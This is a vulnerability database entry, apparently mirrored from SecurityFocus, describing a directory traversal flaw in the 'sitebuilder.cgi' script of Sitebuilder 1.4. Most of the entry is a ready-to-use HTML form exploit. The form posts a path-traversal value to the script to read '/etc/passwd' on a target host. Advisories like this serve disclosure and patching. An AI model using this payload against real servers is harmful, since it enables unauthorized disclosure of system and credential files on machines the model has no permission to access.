Sitebuilder 1.4 'sitebuilder.cgi' Directory Traversal File Disclosure Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Sitebuilder 1.4 'sitebuilder.cgi' Directory Traversal File Disclosure Vulnerabilit


                                                source: http://www.securityfocus.com/bid/8521/info

Sitebuilder is said to be prone to a directory traversal vulnerability, potentially allowing users to disclose the contents of system files. The problem occurs due to the application failing to parse user-supplied input for directory traversal sequences (../) supplied to the &#39;sitebuilder.cgi&#39; script, thus making it possible to access files outside of the established web root. 

&#60;html&#62;&#60;body&#62;&#60;p&#62;&#60;center&#62;
&#60;b&#62;Mein 31337 Exploit :-P&#60;/b&#62;&#60;br&#62;
&#60;form action=&#34;http://targethost.com/cgi-bin/sbcgi/sitebuilder.cgi&#34;
method=POST&#62;
&#60;input type=&#34;hidden&#34; name=&#34;username&#34; value=&#34;targetuser&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;targetpassword&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;selectedpage&#34;
value=&#34;../../../../../../../../../../etc/passwd&#34;&#62;
&#60;p&#62;&#60;input type=&#34;submit&#34; name=&#34;action&#34; value=&#34;Yes - Use Advanced Editor&#34;&#62;
&#60;p&#62;&#60;input type=&#34;submit&#34; value=&#34;Return to Site Builder&#34;&#62;
&#60;/form&#62;
&#60;/center&#62;&#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1